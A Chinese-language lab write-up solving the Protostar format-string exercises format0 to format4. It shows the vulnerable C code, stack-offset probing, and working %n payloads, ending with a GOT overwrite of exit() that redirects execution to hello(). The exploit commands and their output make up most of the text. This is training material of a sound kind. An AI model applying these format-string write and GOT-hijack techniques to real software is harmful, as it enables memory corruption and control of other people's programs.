format 0

先看源码,已经知道是格式化字符串漏洞了。

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
  volatile int target;
  char buffer[64];

  target = 0;

  sprintf(buffer, string);
  
  if(target == 0xdeadbeef) {
      printf("you have hit the target correctly :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}

第0关好像没啥难度的样子,只是把接收来的参数通过sprintf()打印到了buffer中,所以很容易的就溢出了。

user@protostar:/opt/protostar/bin$ ./format0 `python -c "print 'A'*64 + '\xef\xbe\xad\xde'"`
you have hit the target correctly :)

等等,题目说输入应当小于10字节,好吧,那改一下payload

user@protostar:/opt/protostar/bin$ ./format0 `python -c "print '%64d' + '\xef\xbe\xad\xde'"`
you have hit the target correctly :)

搞定。

format 1

这次把target放到全局变量里了。

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln(char *string)
{
  printf(string);
  
  if(target) {
      printf("you have modified the target :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}

通过objdump可以轻松找到这个全局变量的地址:

user@protostar:/opt/protostar/bin$ objdump -t format1 |grep target
08049638 g     O .bss   00000004              target

后来各种构造都不对,z神说可以直接喷。。。

user@protostar:/opt/protostar/bin$ ./format1 `python -c "print ('\x96' + '\x04' + '\x08' + '\x38')*1000 + '%x,'*200+'%n'"`                                            8804960c,bfffe5f8,8048469,b7fd8304,b7fd7ff4,bfffe5f8,8048435,bfffe7c1,b7ff1040,804845b,b7fd7ff4,8048450,0,bfffe678,b7eadc76,2,bfffe6a4,bfffe6b0,b7fe1848,bfffe660,ffffffff,b7ffeff4,804824d,1,bfffe660,b7ff0626,b7fffab0,b7fe1b28,b7fd7ff4,0,0,bfffe678,47f4957a,6d80e36a,0,0,0,2,8048340,0,b7ff6210,b7eadb9b,b7ffeff4,2,8048340,0,8048361,804841c,2,bfffe6a4,8048450,8048440,b7ff1040,bfffe69c,b7fff8f8,2,bfffe7b7,bfffe7c1,0,bffff9bc,bffff9ca,bffff9d5,bffff9f5,bffffa08,bffffa12,bfffff02,bfffff40,bfffff54,bfffff6b,bfffff7c,bfffff84,bfffff94,bfffffa1,bfffffd4,bfffffe0,0,20,b7fe2414,21,b7fe2000,10,fabfbff,6,1000,11,64,3,8048034,4,20,5,7,7,b7fe3000,8,0,9,8048340,b,3e9,c,0,d,3e9,e,3e9,17,1,19,bfffe79b,1f,bffffff2,f,bfffe7ab,0,0,0,80000000,4a8460fb,6c02dc1c,5a528a1f,69e5766e,363836,0,2e000000,726f662f,3174616d,8049600,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,you have modified the target :)

瞎了,所以我还是研究一下正常的解法吧。

首先需要确定我们输入的这个字符串在栈中的位置到底在哪里:

user@protostar:/opt/protostar/bin$ ./format1 `python -c "print 'ABCDEFGH'+'%08x.'*128 + '[%08x]'"`
ABCDEFGH0804960c.bffff568.08048469.b7fd8304.b7fd7ff4.bffff568.08048435.bffff72d.b7ff1040.0804845b.b7fd7ff4.08048450.00000000.bffff5e8.b7eadc76.00000002.bffff614.bffff620.b7fe1848.bffff5d0.ffffffff.b7ffeff4.0804824d.00000001.bffff5d0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.00000000.00000000.bffff5e8.13329341.39600551.00000000.00000000.00000000.00000002.08048340.00000000.b7ff6210.b7eadb9b.b7ffeff4.00000002.08048340.00000000.08048361.0804841c.00000002.bffff614.08048450.08048440.b7ff1040.bffff60c.b7fff8f8.00000002.bffff723.bffff72d.00000000.bffff9bc.bffff9ca.bffff9d5.bffff9f5.bffffa08.bffffa12.bfffff02.bfffff40.bfffff54.bfffff6b.bfffff7c.bfffff84.bfffff94.bfffffa1.bfffffd4.bfffffe0.00000000.00000020.b7fe2414.00000021.b7fe2000.00000010.0fabfbff.00000006.00001000.00000011.00000064.00000003.08048034.00000004.00000020.00000005.00000007.00000007.b7fe3000.00000008.00000000.00000009.08048340.0000000b.000003e9.0000000c.00000000.0000000d.000003e9.0000000e.000003e9.00000017.00000001.00000019.bffff70b.0000001f.bffffff2.0000000f.bffff71b.00000000.00000000.00000000.b1000000.39236756.751f766c.1ec47a65.69e90c76.00363836.2e000000.726f662f.3174616d.43424100.47464544.[38302548]

中括号里面的是等下要换成%n的部分,也就是需要让最后中括号的地址为target的地址。发现多了一个字节,调整一下。

user@protostar:/opt/protostar/bin$ ./format1 `python -c "print 'ABCDEFGH'+'%08x.'*127 + '[%08x]'"`
ABCDEFGH0804960c.bffff568.08048469.b7fd8304.b7fd7ff4.bffff568.08048435.bffff732.b7ff1040.0804845b.b7fd7ff4.08048450.00000000.bffff5e8.b7eadc76.00000002.bffff614.bffff620.b7fe1848.bffff5d0.ffffffff.b7ffeff4.0804824d.00000001.bffff5d0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.00000000.00000000.bffff5e8.531070f2.7942e6e2.00000000.00000000.00000000.00000002.08048340.00000000.b7ff6210.b7eadb9b.b7ffeff4.00000002.08048340.00000000.08048361.0804841c.00000002.bffff614.08048450.08048440.b7ff1040.bffff60c.b7fff8f8.00000002.bffff728.bffff732.00000000.bffff9bc.bffff9ca.bffff9d5.bffff9f5.bffffa08.bffffa12.bfffff02.bfffff40.bfffff54.bfffff6b.bfffff7c.bfffff84.bfffff94.bfffffa1.bfffffd4.bfffffe0.00000000.00000020.b7fe2414.00000021.b7fe2000.00000010.0fabfbff.00000006.00001000.00000011.00000064.00000003.08048034.00000004.00000020.00000005.00000007.00000007.b7fe3000.00000008.00000000.00000009.08048340.0000000b.000003e9.0000000c.00000000.0000000d.000003e9.0000000e.000003e9.00000017.00000001.00000019.bffff70b.0000001f.bffffff2.0000000f.bffff71b.00000000.00000000.00000000.60000000.489823c7.2bc6d67d.8533470f.69be0466.00363836.00000000.00000000.6f662f2e.74616d72.[42410031]

现在发现中括号里的内容不对了,继续调整:

user@protostar:/opt/protostar/bin$ ./format1 `python -c "print 'ABCDEFGHxx'+'%08x.'*127 + '[%08x]'"`
ABCDEFGHxx0804960c.bffff568.08048469.b7fd8304.b7fd7ff4.bffff568.08048435.bffff730.b7ff1040.0804845b.b7fd7ff4.08048450.00000000.bffff5e8.b7eadc76.00000002.bffff614.bffff620.b7fe1848.bffff5d0.ffffffff.b7ffeff4.0804824d.00000001.bffff5d0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.00000000.00000000.bffff5e8.012afa31.2b786c21.00000000.00000000.00000000.00000002.08048340.00000000.b7ff6210.b7eadb9b.b7ffeff4.00000002.08048340.00000000.08048361.0804841c.00000002.bffff614.08048450.08048440.b7ff1040.bffff60c.b7fff8f8.00000002.bffff726.bffff730.00000000.bffff9bc.bffff9ca.bffff9d5.bffff9f5.bffffa08.bffffa12.bfffff02.bfffff40.bfffff54.bfffff6b.bfffff7c.bfffff84.bfffff94.bfffffa1.bfffffd4.bfffffe0.00000000.00000020.b7fe2414.00000021.b7fe2000.00000010.0fabfbff.00000006.00001000.00000011.00000064.00000003.08048034.00000004.00000020.00000005.00000007.00000007.b7fe3000.00000008.00000000.00000009.08048340.0000000b.000003e9.0000000c.00000000.0000000d.000003e9.0000000e.000003e9.00000017.00000001.00000019.bffff70b.0000001f.bffffff2.0000000f.bffff71b.00000000.00000000.00000000.63000000.0d67187f.a1a77f60.383f4dac.699f6f92.00363836.00000000.2f2e0000.6d726f66.00317461.[44434241]

好了,现在正确了,把ABCD改为地址:

user@protostar:/opt/protostar/bin$ ./format1 `python -c "print '\x38\x96\x04\x08EFGHxx'+'%08x.'*127 + '[%08x]'"`
EFGHxx0804960c.bffff568.08048469.b7fd8304.b7fd7ff4.bffff568.08048435.bffff730.b7ff1040.0804845b.b7fd7ff4.08048450.00000000.bffff5e8.b7eadc76.00000002.bffff614.bffff620.b7fe1848.bffff5d0.ffffffff.b7ffeff4.0804824d.00000001.bffff5d0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.00000000.00000000.bffff5e8.025f88a1.280d1eb1.00000000.00000000.00000000.00000002.08048340.00000000.b7ff6210.b7eadb9b.b7ffeff4.00000002.08048340.00000000.08048361.0804841c.00000002.bffff614.08048450.08048440.b7ff1040.bffff60c.b7fff8f8.00000002.bffff726.bffff730.00000000.bffff9bc.bffff9ca.bffff9d5.bffff9f5.bffffa08.bffffa12.bfffff02.bfffff40.bfffff54.bfffff6b.bfffff7c.bfffff84.bfffff94.bfffffa1.bfffffd4.bfffffe0.00000000.00000020.b7fe2414.00000021.b7fe2000.00000010.0fabfbff.00000006.00001000.00000011.00000064.00000003.08048034.00000004.00000020.00000005.00000007.00000007.b7fe3000.00000008.00000000.00000009.08048340.0000000b.000003e9.0000000c.00000000.0000000d.000003e9.0000000e.000003e9.00000017.00000001.00000019.bffff70b.0000001f.bffffff2.0000000f.bffff71b.00000000.00000000.00000000.57000000.b47eba66.ddef7eda.0e9466de.69b788d1.00363836.00000000.2f2e0000.6d726f66.00317461.[08049638]

最后把中括号里改为%n

user@protostar:/opt/protostar/bin$ ./format1 `python -c "print '\x38\x96\x04\x08EFGHxx'+'%08x.'*127 + '[%08n]'"`
EFGHxx0804960c.bffff568.08048469.b7fd8304.b7fd7ff4.bffff568.08048435.bffff730.b7ff1040.0804845b.b7fd7ff4.08048450.00000000.bffff5e8.b7eadc76.00000002.bffff614.bffff620.b7fe1848.bffff5d0.ffffffff.b7ffeff4.0804824d.00000001.bffff5d0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.00000000.00000000.bffff5e8.fbb7ffe7.d1e569f7.00000000.00000000.00000000.00000002.08048340.00000000.b7ff6210.b7eadb9b.b7ffeff4.00000002.08048340.00000000.08048361.0804841c.00000002.bffff614.08048450.08048440.b7ff1040.bffff60c.b7fff8f8.00000002.bffff726.bffff730.00000000.bffff9bc.bffff9ca.bffff9d5.bffff9f5.bffffa08.bffffa12.bfffff02.bfffff40.bfffff54.bfffff6b.bfffff7c.bfffff84.bfffff94.bfffffa1.bfffffd4.bfffffe0.00000000.00000020.b7fe2414.00000021.b7fe2000.00000010.0fabfbff.00000006.00001000.00000011.00000064.00000003.08048034.00000004.00000020.00000005.00000007.00000007.b7fe3000.00000008.00000000.00000009.08048340.0000000b.000003e9.0000000c.00000000.0000000d.000003e9.0000000e.000003e9.00000017.00000001.00000019.bffff70b.0000001f.bffffff2.0000000f.bffff71b.00000000.00000000.00000000.a8000000.8f540b22.814c022e.d1600049.69e6dd34.00363836.00000000.2f2e0000.6d726f66.00317461.[]you have modified the target :)

format 2

这个题是上一题的升级版,需要把target的值设置为64,先找一下target的地址。

user@protostar:/opt/protostar/bin$ objdump -t format2 | grep target
080496e4 g     O .bss   00000004              target

按照和上题同样的方法,先确定%n的位置。

user@protostar:/opt/protostar/bin$ python -c "print 'AAAA' + '%08x.'*3 + '[%08x]'" | ./format2 
AAAA00000200.b7fd8420.bffff624.[41414141]
target is 0 :(

很快就找好了,改成%n看一下是多少。

user@protostar:/opt/protostar/bin$ python -c "print '\xe4\x96\x04\x08' + '%08x.'*3 + '[%08n]'" | ./format2 
.00000200.b7fd8420.bffff624.[]
target is 32 :(

是32,题目要求是64,那就再加几个字节吧。

user@protostar:/opt/protostar/bin$ python -c "print '\xe4\x96\x04\x08' + '%08x.'*2 + '%41x'  + '[%08n]'" | ./format2 
.00000200.b7fd8420.                                 bffff624[]
you have modified the target :)

就算一点一点试也能试出来啊。但是上面那个payload太low了,我们改一下:

user@protostar:/opt/protostar/bin$ python -c "print '\xe4\x96\x04\x08' + '%60u%4\$08n'" | ./format2 
.                                                         512
you have modified the target :)

简单解释一下,4\$,那个$由于有特殊意义,需要转义一下,这样就是4\$,这个指的是第4个参数,这里就是我们的那个地址'\xe4\x96\x04\x08'(不信可以打印四个%08x看看第四个%08x是啥。),然后向里面写入数据就是%4\$n,别忘了$需要转义,然后再加上08,就是%4\$08n,前面加上占位符增加字节数量%60u,这样就是60个字节,再加上前面地址的4个字节,共64个字节,就可以写入64了。

format 3

还是写target,难度又提升了一点点。源码与上一题基本一样,不贴源码了。
首先找到target的地址:

user@protostar:/opt/protostar/bin$ objdump -t format3 | grep target 
080496f4 g     O .bss   00000004              target

找到%n的位置:

user@protostar:/opt/protostar/bin$ python -c "print '\xf4\x96\x04\x08' + '%08x.'*11  + '[%08n]'" | ./format3                                                          00000000.bffff5e0.b7fd7ff4.00000000.00000000.bffff7e8.0804849d.bffff5e0.00000200.b7fd8420.bffff624.[]
target is 00000068 :(

计算一下,现在是4 + 99 + 1 = 0x68,我们需要0x1025544,列个式子:

4 + 90 + x + 1 = 0x1025544
4:地址4字节
90:%08x.共9字节,乘以10,共90字节
1:最后的左半边中括号占一个字节
所以需要求解的x就是需要补充的长度

解得x为16930021,所以最终payload为:

python -c "print '\xf4\x96\x04\x08' + '%08x.'*10 + '%16930021x'  + '[%08n]'" | ./format3

这还算小数字的,如果写地址的话数字更大,需要使用拆分字节的方法进行写入。

user@protostar:/opt/protostar/bin$ python -c "print '\xf4\x96\x04\x08' + '\xf5\x96\x04\x08' + '\xf6\x96\x04\x08' + '\xf7\x96\x04\x08' + '%52u%12\$08n' + '%17u%13\$08n' + '%173u%14\$08n'" | ./format3                                                                                                                                                                                       0       3221222880                                                                                                                                                                   3086843892
you have modified the target :)

这个方法需要比较耐心的分析,需要多次尝试。

format 4

这个题需要改变程序的执行流程了,也就是需要覆盖掉返回地址:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void hello()
{
  printf("code execution redirected! you win\n");
  _exit(1);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printf(buffer);

  exit(1);   
}

int main(int argc, char **argv)
{
  vuln();
}

首先需要确定hello的地址:

080484b4 <hello>:
 80484b4:   55                      push   %ebp
 80484b5:   89 e5                   mov    %esp,%ebp
 80484b7:   83 ec 18                sub    $0x18,%esp
 80484ba:   c7 04 24 f0 85 04 08    movl   $0x80485f0,(%esp)
 80484c1:   e8 16 ff ff ff          call   80483dc <puts@plt>
 80484c6:   c7 04 24 01 00 00 00    movl   $0x1,(%esp)
 80484cd:   e8 ea fe ff ff          call   80483bc <_exit@plt>

得到地址0x080484b4,也就是需要将某个地址更改为这个地址。估计是通过修改GOT来改掉exit的地址了,先看看情况。

user@protostar:/opt/protostar/bin$ python -c "print 'AAAA' + '%08x.'*3 + '[%08x]'" | ./format4 
AAAA00000200.b7fd8420.bffff624.[41414141]

现寻找exit()在GOT表中的位置:

user@protostar:/opt/protostar/bin$ objdump -TR format4 

format4:     file format elf32-i386

DYNAMIC SYMBOL TABLE:
00000000  w   D  *UND*  00000000              __gmon_start__
00000000      DF *UND*  00000000  GLIBC_2.0   fgets
00000000      DF *UND*  00000000  GLIBC_2.0   __libc_start_main
00000000      DF *UND*  00000000  GLIBC_2.0   _exit
00000000      DF *UND*  00000000  GLIBC_2.0   printf
00000000      DF *UND*  00000000  GLIBC_2.0   puts
00000000      DF *UND*  00000000  GLIBC_2.0   exit
080485ec g    DO .rodata    00000004  Base        _IO_stdin_used
08049730 g    DO .bss   00000004  GLIBC_2.0   stdin


DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
080496fc R_386_GLOB_DAT    __gmon_start__
08049730 R_386_COPY        stdin
0804970c R_386_JUMP_SLOT   __gmon_start__
08049710 R_386_JUMP_SLOT   fgets
08049714 R_386_JUMP_SLOT   __libc_start_main
08049718 R_386_JUMP_SLOT   _exit
0804971c R_386_JUMP_SLOT   printf
08049720 R_386_JUMP_SLOT   puts
08049724 R_386_JUMP_SLOT   exit

在最后看到了,是0x08049724,前面hello()函数的位置也找到了,是0x080484b4,所以我们把0x08049724的内容改为0x080484b4试一下,即调用exit()的时候会调用到我们的hello()函数。同样是使用逐个字节填充的方法来写,经过gdb无数次调试之后,终于写出来payload

user@protostar:~$ python -c "print '\x24\x97\x04\x08' + '\x25\x97\x04\x08' + '\x26\x97\x04\x08' + '\x27\x97\x04\x08' + '%164u%4\$08n' + '%208u%5\$08n' + '%128u%6\$08n' + '%260u%7\$08n' " | /opt/protostar/bin/format4 
                                                                                                                                                                 512                                                                                                                                                                                                      3086844960                                                                                                                      3221222916                                                                                                                                                                                                                                                           134518564
code execution redirected! you win